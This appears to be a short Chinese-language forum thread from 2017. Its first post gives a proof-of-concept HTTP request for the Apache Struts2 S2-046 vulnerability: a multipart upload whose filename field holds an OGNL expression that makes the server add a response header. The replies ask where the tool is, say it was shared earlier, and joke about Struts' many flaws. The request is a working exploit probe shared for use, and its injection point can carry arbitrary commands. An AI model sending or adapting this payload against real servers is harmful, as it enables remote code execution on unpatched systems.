90_ 发表于 2017-3-21 10:29:23

ST2-046 POC

POC

POST /doUpload.action HTTP/1.1
Host: localhost:8080
Content-Length: 10000000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
Connection: close

------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain
Kaboom

------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

jack2009 发表于 2017-3-21 10:44:38

软件呢

verli 发表于 2017-3-21 22:58:04

RE: ST2-046 POC

jack2009 发表于 2017-3-21 10:44
软件呢

软件呢，90大大早就将软件分享出来，你有没有留心去找那就是另一个问题了。

chensu99 发表于 2017-3-22 12:59:50

昨晚才有人在群里讨论 我还以为是假的 这么快 真是万年漏洞王
页: [1]
查看完整版本: ST2-046 POC